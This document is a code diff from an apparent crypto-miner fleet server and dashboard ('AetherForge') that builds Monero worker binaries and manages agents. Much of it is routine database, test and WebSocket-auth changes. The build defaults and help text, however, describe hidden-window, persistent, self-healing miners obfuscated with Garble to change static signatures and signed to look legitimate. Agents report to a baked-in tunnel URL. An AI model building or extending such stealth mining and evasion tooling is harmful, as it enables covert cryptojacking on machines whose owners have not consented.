const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
|
||||
|
||||
func encodeBuildExtraFiles(files []models.BuildExtraFile) string {
|
||||
if len(files) == 0 {
|
||||
return "[]"
|
||||
}
|
||||
b, err := json.Marshal(files)
|
||||
if err != nil {
|
||||
return "[]"
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func decodeBuildExtraFiles(raw string) []models.BuildExtraFile {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" || raw == "[]" || raw == "null" {
|
||||
return nil
|
||||
}
|
||||
var files []models.BuildExtraFile
|
||||
if err := json.Unmarshal([]byte(raw), &files); err != nil {
|
||||
return nil
|
||||
}
|
||||
return files
|
||||
}
|
||||
|
||||
func scanBuild(row interface {
|
||||
Scan(...any) error
|
||||
}) (*models.BuildRecord, error) {
|
||||
b := &models.BuildRecord{}
|
||||
var pinnedInt int
|
||||
var extraFilesRaw string
|
||||
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
||||
&b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
|
||||
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
|
||||
b.Pinned = pinnedInt == 1
|
||||
b.ExtraFiles = decodeBuildExtraFiles(extraFilesRaw)
|
||||
return b, err
|
||||
}
|
||||
|
||||
func (d *Database) InsertBuild(b *models.BuildRecord) error {
|
||||
_, err := d.Exec(`INSERT INTO builds
|
||||
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
|
||||
b.FilePath, b.FileName, b.DownloadURL, b.Platform, b.CreatedAt,
|
||||
b.FilePath, b.FileName, b.DownloadURL, encodeBuildExtraFiles(b.ExtraFiles), b.Platform, b.CreatedAt,
|
||||
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
package maintenance
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -15,21 +17,47 @@ var retentionTickInterval = 6 * time.Hour
|
||||
// runRetentionFn is the work function invoked by StartRetentionJobs (overridable in tests).
|
||||
var runRetentionFn = runRetention
|
||||
|
||||
var (
|
||||
retentionMu sync.Mutex
|
||||
retentionCancel context.CancelFunc
|
||||
)
|
||||
|
||||
// StartRetentionJobs purges old stats and build artifacts on an interval.
|
||||
func StartRetentionJobs(database *db.Database, dataDir string, statsHours, buildDays int) {
|
||||
if statsHours <= 0 && buildDays <= 0 {
|
||||
return
|
||||
}
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
retentionMu.Lock()
|
||||
retentionCancel = cancel
|
||||
retentionMu.Unlock()
|
||||
|
||||
go func() {
|
||||
runRetentionFn(database, dataDir, statsHours, buildDays)
|
||||
ticker := time.NewTicker(retentionTickInterval)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
runRetentionFn(database, dataDir, statsHours, buildDays)
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
runRetentionFn(database, dataDir, statsHours, buildDays)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// StopRetentionJobs stops the background retention loop started by StartRetentionJobs.
|
||||
func StopRetentionJobs() {
|
||||
retentionMu.Lock()
|
||||
cancel := retentionCancel
|
||||
retentionCancel = nil
|
||||
retentionMu.Unlock()
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
}
|
||||
|
||||
func runRetention(database *db.Database, dataDir string, statsHours, buildDays int) {
|
||||
if statsHours > 0 {
|
||||
cutoff := time.Now().Add(-time.Duration(statsHours) * time.Hour)
|
||||
|
||||
@@ -44,6 +44,7 @@ func seedHashrateSample(t *testing.T, d *db.Database, agentID string, ts time.Ti
|
||||
|
||||
func TestStartRetentionJobs_NoOpWhenDisabled(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
t.Cleanup(StopRetentionJobs)
|
||||
StartRetentionJobs(d, t.TempDir(), 0, 0)
|
||||
// Disabled config must not start a goroutine that mutates data.
|
||||
time.Sleep(20 * time.Millisecond)
|
||||
@@ -53,6 +54,7 @@ func TestStartRetentionJobs_RunsImmediately(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
seedHashrateSample(t, d, "a1", time.Now().Add(-48*time.Hour), 100)
|
||||
|
||||
t.Cleanup(StopRetentionJobs)
|
||||
StartRetentionJobs(d, t.TempDir(), 24, 0)
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
@@ -81,8 +83,8 @@ func TestStartRetentionJobs_TickerInterval(t *testing.T) {
|
||||
runRetentionFn = noopRetention
|
||||
t.Cleanup(func() {
|
||||
retentionTickInterval = prev
|
||||
// StartRetentionJobs has no stop handle; leave a noop so the leaked goroutine is harmless.
|
||||
runRetentionFn = func(database *db.Database, dataDir string, statsHours, buildDays int) {}
|
||||
runRetentionFn = runRetention
|
||||
StopRetentionJobs()
|
||||
})
|
||||
|
||||
StartRetentionJobs(d, t.TempDir(), 1, 0)
|
||||
@@ -97,6 +99,42 @@ func TestStartRetentionJobs_TickerInterval(t *testing.T) {
|
||||
t.Fatalf("expected at least 2 retention passes (immediate + tick), got %d", passes)
|
||||
}
|
||||
|
||||
func TestStopRetentionJobs_StopsBackgroundLoop(t *testing.T) {
|
||||
prev := retentionTickInterval
|
||||
retentionTickInterval = 40 * time.Millisecond
|
||||
t.Cleanup(func() {
|
||||
retentionTickInterval = prev
|
||||
runRetentionFn = runRetention
|
||||
StopRetentionJobs()
|
||||
})
|
||||
|
||||
d := openTestDB(t)
|
||||
var passes int32
|
||||
runRetentionFn = func(database *db.Database, dataDir string, statsHours, buildDays int) {
|
||||
atomic.AddInt32(&passes, 1)
|
||||
}
|
||||
|
||||
StartRetentionJobs(d, t.TempDir(), 1, 0)
|
||||
|
||||
deadline := time.Now().Add(250 * time.Millisecond)
|
||||
for time.Now().Before(deadline) {
|
||||
if atomic.LoadInt32(&passes) >= 2 {
|
||||
break
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
if atomic.LoadInt32(&passes) < 2 {
|
||||
t.Fatalf("expected at least 2 passes before stop, got %d", passes)
|
||||
}
|
||||
|
||||
before := atomic.LoadInt32(&passes)
|
||||
StopRetentionJobs()
|
||||
time.Sleep(120 * time.Millisecond)
|
||||
if got := atomic.LoadInt32(&passes); got != before {
|
||||
t.Fatalf("expected no retention passes after stop, before=%d after=%d", before, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunRetention_PurgesHashrateSamples(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
seedHashrateSample(t, d, "a1", time.Now().Add(-48*time.Hour), 100)
|
||||
|
||||
@@ -121,18 +121,24 @@ type Job struct {
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
type BuildExtraFile struct {
|
||||
FileName string `json:"file_name"`
|
||||
FilePath string `json:"file_path,omitempty"`
|
||||
}
|
||||
|
||||
type BuildRecord struct {
|
||||
ID string `json:"id"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Wallet string `json:"wallet"`
|
||||
Threads int `json:"threads"`
|
||||
FileSize int64 `json:"file_size"`
|
||||
BundleSize int64 `json:"bundle_size"`
|
||||
FilePath string `json:"file_path"`
|
||||
FileName string `json:"file_name"` // base filename for display
|
||||
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
|
||||
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||
ID string `json:"id"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Wallet string `json:"wallet"`
|
||||
Threads int `json:"threads"`
|
||||
FileSize int64 `json:"file_size"`
|
||||
BundleSize int64 `json:"bundle_size"`
|
||||
FilePath string `json:"file_path"`
|
||||
FileName string `json:"file_name"` // base filename for display
|
||||
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
|
||||
ExtraFiles []BuildExtraFile `json:"extra_files,omitempty"`
|
||||
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
|
||||
// Pool settings
|
||||
|
||||
@@ -153,6 +153,7 @@ func TestBuildRecordJSONRoundTrip(t *testing.T) {
|
||||
Threads: 4, FileSize: 1024, BundleSize: 2048,
|
||||
FilePath: "/data/build.exe", FileName: "build.exe",
|
||||
DownloadURL: "/api/v1/builds/build-1/download", Platform: "windows",
|
||||
ExtraFiles: []BuildExtraFile{{FileName: "README.txt"}},
|
||||
CreatedAt: time.Now().UTC(), Pinned: true,
|
||||
PoolHost: "pool.example.com", PoolPort: 3333, PoolTLS: true, PoolPass: "x",
|
||||
})
|
||||
|
||||
@@ -94,6 +94,9 @@ func main() {
|
||||
}
|
||||
}
|
||||
|
||||
// Load dashboard auth early so credentials print before slow startup steps.
|
||||
api.LoadUsers(cfg.DataDir)
|
||||
|
||||
// Initialize database
|
||||
database, err := db.New(cfg.DataDir)
|
||||
if err != nil {
|
||||
@@ -182,6 +185,7 @@ func main() {
|
||||
log.Println("Config handler initialized")
|
||||
|
||||
maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays)
|
||||
defer maintenance.StopRetentionJobs()
|
||||
|
||||
// Pre-connect default upstream pool from server config (Forge defaults seed from here)
|
||||
go func() {
|
||||
@@ -422,13 +426,23 @@ func resolveDataDir(dataDir, projectRoot string) string {
|
||||
return abs
|
||||
}
|
||||
|
||||
func projectRootMarker(dir string) bool {
|
||||
for _, name := range []string{"devrun.bat", "LAUNCH.bat", "run.bat"} {
|
||||
if _, err := os.Stat(filepath.Join(dir, name)); err == nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func findProjectRoot() string {
|
||||
if cwd, err := os.Getwd(); err == nil {
|
||||
if _, err := os.Stat(filepath.Join(cwd, "run.bat")); err == nil {
|
||||
if projectRootMarker(cwd) {
|
||||
return cwd
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(filepath.Dir(cwd), "run.bat")); err == nil {
|
||||
return filepath.Dir(cwd)
|
||||
parent := filepath.Dir(cwd)
|
||||
if projectRootMarker(parent) {
|
||||
return parent
|
||||
}
|
||||
}
|
||||
if exe, err := os.Executable(); err == nil {
|
||||
@@ -439,7 +453,7 @@ func findProjectRoot() string {
|
||||
filepath.Join(exeDir, "..", ".."),
|
||||
}
|
||||
for _, candidate := range candidates {
|
||||
if _, err := os.Stat(filepath.Join(candidate, "run.bat")); err == nil {
|
||||
if projectRootMarker(candidate) {
|
||||
abs, _ := filepath.Abs(candidate)
|
||||
return abs
|
||||
}
|
||||
@@ -454,7 +468,7 @@ func findProjectRoot() string {
|
||||
// findWebRoot locates the frontend build output directory
|
||||
func findWebRoot() string {
|
||||
candidates := []string{
|
||||
"webroot", // Copied by run.bat
|
||||
"webroot", // Copied by devrun.bat
|
||||
"web/dist", // Vite build output relative to server/
|
||||
filepath.Join("..", "server", "web", "dist"), // Relative to project root
|
||||
filepath.Join("server", "web", "dist"), // From project root
|
||||
|
||||
@@ -47,13 +47,19 @@ func TestFindProjectRootFromServerDir(t *testing.T) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
root := findProjectRoot()
|
||||
runBat := filepath.Join(root, "run.bat")
|
||||
if _, err := os.Stat(runBat); err != nil {
|
||||
t.Fatalf("findProjectRoot=%q missing run.bat: %v", root, err)
|
||||
found := false
|
||||
for _, name := range []string{"devrun.bat", "LAUNCH.bat", "run.bat"} {
|
||||
if _, err := os.Stat(filepath.Join(root, name)); err == nil {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("findProjectRoot=%q missing devrun.bat/LAUNCH.bat/run.bat", root)
|
||||
}
|
||||
// When tests run from server/, root should be parent of cwd or cwd itself.
|
||||
if root != cwd && root != filepath.Dir(cwd) {
|
||||
t.Logf("findProjectRoot=%q cwd=%q (acceptable if run.bat layout differs)", root, cwd)
|
||||
t.Logf("findProjectRoot=%q cwd=%q (acceptable if marker layout differs)", root, cwd)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -27,12 +27,68 @@ const OFFLINE_AGENT = {
|
||||
|
||||
test.describe('Remote actions UI', () => {
|
||||
test.beforeEach(async ({ page }) => {
|
||||
await page.route('**/api/v1/agents', async (route) => {
|
||||
if (route.request().method() === 'GET' && route.request().url().endsWith('/agents')) {
|
||||
await route.fulfill({ json: [OFFLINE_AGENT] });
|
||||
// AgentsPage syncs from WebSocket when connected; mock dashboard WS init (HTTP route cannot intercept WS).
|
||||
await page.addInitScript((agent) => {
|
||||
const RealWS = WebSocket;
|
||||
const g = globalThis as typeof globalThis & { __afRealWebSocket?: typeof WebSocket };
|
||||
g.__afRealWebSocket = RealWS;
|
||||
globalThis.WebSocket = function (url: string | URL, protocols?: string | string[]) {
|
||||
const urlStr = String(url);
|
||||
if (!urlStr.includes('/ws/dashboard')) {
|
||||
return new g.__afRealWebSocket!(url, protocols);
|
||||
}
|
||||
let openHandler: (() => void) | null = null;
|
||||
let messageHandler: ((ev: MessageEvent) => void) | null = null;
|
||||
let closeHandler: (() => void) | null = null;
|
||||
const sock = {
|
||||
readyState: 0,
|
||||
send() {},
|
||||
close() {
|
||||
sock.readyState = 3;
|
||||
closeHandler?.();
|
||||
},
|
||||
set onopen(fn: (() => void) | null) {
|
||||
openHandler = fn;
|
||||
},
|
||||
get onopen() {
|
||||
return openHandler;
|
||||
},
|
||||
set onmessage(fn: ((ev: MessageEvent) => void) | null) {
|
||||
messageHandler = fn;
|
||||
},
|
||||
get onmessage() {
|
||||
return messageHandler;
|
||||
},
|
||||
set onclose(fn: (() => void) | null) {
|
||||
closeHandler = fn;
|
||||
},
|
||||
get onclose() {
|
||||
return closeHandler;
|
||||
},
|
||||
set onerror(_fn: (() => void) | null) {},
|
||||
get onerror() {
|
||||
return null;
|
||||
},
|
||||
};
|
||||
queueMicrotask(() => {
|
||||
sock.readyState = 1;
|
||||
openHandler?.();
|
||||
messageHandler?.({
|
||||
data: JSON.stringify({ type: 'init', payload: { agents: [agent] } }),
|
||||
} as MessageEvent);
|
||||
});
|
||||
return sock as unknown as WebSocket;
|
||||
} as unknown as typeof WebSocket;
|
||||
globalThis.WebSocket.OPEN = 1;
|
||||
globalThis.WebSocket.CONNECTING = 0;
|
||||
globalThis.WebSocket.CLOSED = 3;
|
||||
}, OFFLINE_AGENT);
|
||||
await page.route(/\/api\/v1\/agents$/, async (route) => {
|
||||
if (route.request().method() !== 'GET') {
|
||||
await route.continue();
|
||||
return;
|
||||
}
|
||||
await route.continue();
|
||||
await route.fulfill({ json: [OFFLINE_AGENT] });
|
||||
});
|
||||
await page.route('**/api/v1/agents/*/stats*', async (route) => {
|
||||
await route.fulfill({ json: [] });
|
||||
|
||||
@@ -6,6 +6,7 @@ import { describe, expect, it, vi } from 'vitest';
|
||||
import { render, screen } from '@testing-library/react';
|
||||
import { MemoryRouter, Routes, Route, Navigate } from 'react-router-dom';
|
||||
import App, { PageFallback } from './App';
|
||||
import { routerFuture } from './routerFuture';
|
||||
|
||||
vi.mock('./context/WebSocketProvider', () => ({
|
||||
WebSocketProvider: ({ children }: { children: ReactNode }) => <>{children}</>,
|
||||
@@ -42,7 +43,7 @@ describe('App route config', () => {
|
||||
it('redirects / to dashboard and /builder to forge', () => {
|
||||
function RedirectProbe({ path }: { path: string }) {
|
||||
return (
|
||||
<MemoryRouter initialEntries={[path]}>
|
||||
<MemoryRouter initialEntries={[path]} future={routerFuture}>
|
||||
<Routes>
|
||||
<Route path="/" element={<Navigate to="/dashboard" replace />} />
|
||||
<Route path="/dashboard" element={<div>Dashboard Page</div>} />
|
||||
@@ -61,7 +62,7 @@ describe('App route config', () => {
|
||||
|
||||
it('renders crucible route via App shell', async () => {
|
||||
render(
|
||||
<MemoryRouter initialEntries={['/crucible']}>
|
||||
<MemoryRouter initialEntries={['/crucible']} future={routerFuture}>
|
||||
<App />
|
||||
</MemoryRouter>
|
||||
);
|
||||
|
||||
@@ -8,13 +8,19 @@ export function getStoredAuth(): string | null {
|
||||
}
|
||||
}
|
||||
|
||||
export function setStoredAuth(username: string, password: string) {
|
||||
export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) {
|
||||
const token = btoa(`${username}:${password}`);
|
||||
sessionStorage.setItem(AUTH_KEY, token);
|
||||
if (!opts?.silent) {
|
||||
window.dispatchEvent(new Event('aetherforge-auth'));
|
||||
}
|
||||
}
|
||||
|
||||
export function clearStoredAuth() {
|
||||
export function clearStoredAuth(opts?: { silent?: boolean }) {
|
||||
sessionStorage.removeItem(AUTH_KEY);
|
||||
if (!opts?.silent) {
|
||||
window.dispatchEvent(new Event('aetherforge-auth'));
|
||||
}
|
||||
}
|
||||
|
||||
export function authHeaders(): Record<string, string> {
|
||||
|
||||
@@ -263,6 +263,16 @@ describe('api client', () => {
|
||||
expect(JSON.parse(lastFetch().init.body as string)).toEqual({ username: 'alice', password: 'secret' });
|
||||
});
|
||||
|
||||
it('rotateFleetSecret POSTs rotate endpoint', async () => {
|
||||
fetchMock.mockResolvedValueOnce(jsonResponse({ ok: true, hint: 'abcd1234...' }));
|
||||
|
||||
const res = await api.rotateFleetSecret();
|
||||
|
||||
expect(res.ok).toBe(true);
|
||||
expect(lastFetch().url).toBe('/api/v1/server/rotate-secret');
|
||||
expect(lastFetch().init.method).toBe('POST');
|
||||
});
|
||||
|
||||
it('getXmrPrice and getServerInfo', async () => {
|
||||
fetchMock
|
||||
.mockResolvedValueOnce(jsonResponse({ usd: 200, updated_at: 'now' }))
|
||||
|
||||
@@ -3,6 +3,9 @@ import { authHeaders } from './auth';
|
||||
|
||||
const API_BASE = '/api/v1';
|
||||
|
||||
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
|
||||
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
|
||||
|
||||
async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
|
||||
const { headers: extraHeaders, ...rest } = options ?? {};
|
||||
const res = await fetch(`${API_BASE}${url}`, {
|
||||
@@ -118,6 +121,8 @@ export const api = {
|
||||
// Health / server
|
||||
healthCheck: () => fetchJSON<{ status: string }>('/health'),
|
||||
getServerInfo: () => fetchJSON<ServerInfo>('/server/info'),
|
||||
rotateFleetSecret: () =>
|
||||
fetchJSON<{ ok: boolean; hint?: string }>('/server/rotate-secret', { method: 'POST' }),
|
||||
|
||||
// Fleet ops
|
||||
getAlerts: () => fetchJSON<FleetAlert[]>('/alerts'),
|
||||
|
||||
@@ -6,6 +6,7 @@ import { cleanup, render, screen, waitFor, fireEvent } from '@testing-library/re
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import { type ReactNode } from 'react';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
import { mockAgent, mockServerInfo } from '../test/fixtures';
|
||||
import { api } from '../api/client';
|
||||
import { downloadApiFile, downloadAuthedFile } from '../api/download';
|
||||
@@ -169,7 +170,9 @@ describe('DownloadButton', () => {
|
||||
);
|
||||
const btn = screen.getByRole('button', { name: 'Save' });
|
||||
await userEvent.setup().click(btn);
|
||||
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
|
||||
});
|
||||
await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
|
||||
});
|
||||
|
||||
@@ -645,7 +648,7 @@ describe('VisualComponents', () => {
|
||||
|
||||
it('ForgeCalibrateCompare links to routes', () => {
|
||||
render(
|
||||
<MemoryRouter>
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<ForgeCalibrateCompare />
|
||||
</MemoryRouter>
|
||||
);
|
||||
@@ -697,7 +700,7 @@ describe('SystemStatusBar', () => {
|
||||
|
||||
it('shows server and fleet pills after poll', async () => {
|
||||
render(
|
||||
<MemoryRouter>
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<SystemStatusBar />
|
||||
</MemoryRouter>
|
||||
);
|
||||
@@ -780,7 +783,7 @@ describe('Layout', () => {
|
||||
|
||||
it('renders nav links and children', async () => {
|
||||
render(
|
||||
<MemoryRouter initialEntries={['/dashboard']}>
|
||||
<MemoryRouter initialEntries={['/dashboard']} future={routerFuture}>
|
||||
<Layout>
|
||||
<div>page body</div>
|
||||
</Layout>
|
||||
|
||||
@@ -48,6 +48,7 @@ describe('WebSocketProvider', () => {
|
||||
beforeEach(() => {
|
||||
sessionStorage.clear();
|
||||
MockWebSocket.instances = [];
|
||||
setStoredAuth('testuser', 'testpass', { silent: true });
|
||||
vi.stubGlobal('WebSocket', MockWebSocket as unknown as typeof WebSocket);
|
||||
Object.defineProperty(window, 'location', {
|
||||
value: { protocol: 'http:', host: 'localhost:8080' },
|
||||
@@ -69,6 +70,7 @@ describe('WebSocketProvider', () => {
|
||||
|
||||
it('connects to ws dashboard with auth token query param', () => {
|
||||
setStoredAuth('drjones', 'secret');
|
||||
MockWebSocket.instances = [];
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
|
||||
const ws = latestSocket();
|
||||
@@ -79,10 +81,11 @@ describe('WebSocketProvider', () => {
|
||||
expect(result.current.isConnected).toBe(true);
|
||||
});
|
||||
|
||||
it('connects without token when logged out', () => {
|
||||
clearStoredAuth();
|
||||
it('does not connect when logged out', () => {
|
||||
clearStoredAuth({ silent: true });
|
||||
MockWebSocket.instances = [];
|
||||
renderHook(() => useWebSocketContext(), { wrapper });
|
||||
expect(latestSocket().url).toBe('ws://localhost:8080/ws/dashboard');
|
||||
expect(MockWebSocket.instances).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('useWebSocket re-exports context hook', () => {
|
||||
@@ -160,6 +163,7 @@ describe('WebSocketProvider', () => {
|
||||
|
||||
it('schedules reconnect after close', () => {
|
||||
vi.useFakeTimers();
|
||||
MockWebSocket.instances = [];
|
||||
renderHook(() => useWebSocketContext(), { wrapper });
|
||||
const first = latestSocket();
|
||||
|
||||
|
||||
@@ -40,14 +40,25 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
reconnectTimer.current = null;
|
||||
}
|
||||
|
||||
const token = getStoredAuth();
|
||||
if (!token) {
|
||||
const existing = wsRef.current;
|
||||
if (existing) {
|
||||
existing.onclose = null;
|
||||
existing.close();
|
||||
wsRef.current = null;
|
||||
}
|
||||
setIsConnected(false);
|
||||
return;
|
||||
}
|
||||
|
||||
const existing = wsRef.current;
|
||||
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
|
||||
existing.close();
|
||||
}
|
||||
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const token = getStoredAuth();
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard${token ? `?token=${encodeURIComponent(token)}` : ''}`;
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?token=${encodeURIComponent(token)}`;
|
||||
const ws = new WebSocket(wsUrl);
|
||||
wsRef.current = ws;
|
||||
|
||||
@@ -57,6 +68,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
if (unmounted.current) return;
|
||||
setIsConnected(false);
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
if (!getStoredAuth()) return;
|
||||
reconnectTimer.current = setTimeout(connect, 3000);
|
||||
};
|
||||
|
||||
@@ -201,8 +213,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
useEffect(() => {
|
||||
unmounted.current = false;
|
||||
connect();
|
||||
const onAuthChange = () => connect();
|
||||
window.addEventListener('aetherforge-auth', onAuthChange);
|
||||
return () => {
|
||||
unmounted.current = true;
|
||||
window.removeEventListener('aetherforge-auth', onAuthChange);
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
const ws = wsRef.current;
|
||||
if (ws) { ws.onclose = null; ws.close(); }
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { FORGE_BUILD_DEFAULTS, forgeDefaultsFromServer } from './forgeDefaults';
|
||||
import { FORGE_BUILD_DEFAULTS, DEFAULT_PUBLIC_TUNNEL, forgeDefaultsFromServer } from './forgeDefaults';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
|
||||
describe('FORGE_BUILD_DEFAULTS', () => {
|
||||
@@ -47,12 +47,12 @@ describe('forgeDefaultsFromServer', () => {
|
||||
expect(result.server_url).toBe('https://tunnel.example.com');
|
||||
});
|
||||
|
||||
it('falls back to suggested_url when public_url is blank', () => {
|
||||
it('falls back to baked tunnel URL when public_url is blank', () => {
|
||||
const config = mockServerConfig({
|
||||
server: { public_url: ' ' },
|
||||
});
|
||||
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
||||
expect(result.server_url).toBe(mockServerInfo.suggested_url);
|
||||
expect(result.server_url).toBe(DEFAULT_PUBLIC_TUNNEL);
|
||||
});
|
||||
|
||||
it('reflects obfuscate and sign defaults from server config', () => {
|
||||
|
||||
@@ -1,5 +1,8 @@
|
||||
import type { BuildRequest, ServerConfig, ServerInfo } from '../types';
|
||||
|
||||
/** Baked Cloudflare tunnel — used when Calibrate public_url is blank. */
|
||||
export const DEFAULT_PUBLIC_TUNNEL = 'https://killa.thetempleofdoom.com';
|
||||
|
||||
/** Defaults for a new forge build — not stored in Calibrate. */
|
||||
export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
BuildRequest,
|
||||
@@ -62,7 +65,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
|
||||
return {
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
worker_name: '',
|
||||
server_url: publicUrl || serverInfo.suggested_url,
|
||||
server_url: publicUrl || DEFAULT_PUBLIC_TUNNEL || serverInfo.suggested_url,
|
||||
wallet: config.wallet.address,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
|
||||
@@ -27,11 +27,11 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
forge_recommended_defaults:
|
||||
'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
|
||||
obfuscate:
|
||||
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (run.bat installs it).',
|
||||
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (devrun.bat installs it).',
|
||||
sign_build:
|
||||
'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
|
||||
obfuscate_default:
|
||||
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with run.bat release.',
|
||||
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with devrun.bat release.',
|
||||
sign_enabled:
|
||||
'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.',
|
||||
sign_cert_thumbprint:
|
||||
|
||||
@@ -2,6 +2,7 @@ import React from 'react';
|
||||
import ReactDOM from 'react-dom/client';
|
||||
import { BrowserRouter } from 'react-router-dom';
|
||||
import App from './App';
|
||||
import { routerFuture } from './routerFuture';
|
||||
import ErrorBoundary from './components/ErrorBoundary';
|
||||
import './styles/global.css';
|
||||
import './styles/steampunk-theme.css';
|
||||
@@ -21,7 +22,7 @@ ReactDOM.createRoot(document.getElementById('root')!).render(
|
||||
</div>
|
||||
}
|
||||
>
|
||||
<BrowserRouter>
|
||||
<BrowserRouter future={routerFuture}>
|
||||
<App />
|
||||
</BrowserRouter>
|
||||
</ErrorBoundary>
|
||||
|
||||
@@ -12,6 +12,7 @@ import BuildManagerPage, {
|
||||
truncateWallet,
|
||||
} from './BuildManagerPage';
|
||||
import { api } from '../api/client';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
|
||||
vi.mock('../components/Fleet/LanDownloadQR', () => ({
|
||||
LanDownloadQR: () => <div data-testid="lan-qr-mock" />,
|
||||
@@ -82,7 +83,7 @@ describe('BuildManagerPage', () => {
|
||||
|
||||
it('renders build list after load', async () => {
|
||||
render(
|
||||
<MemoryRouter>
|
||||
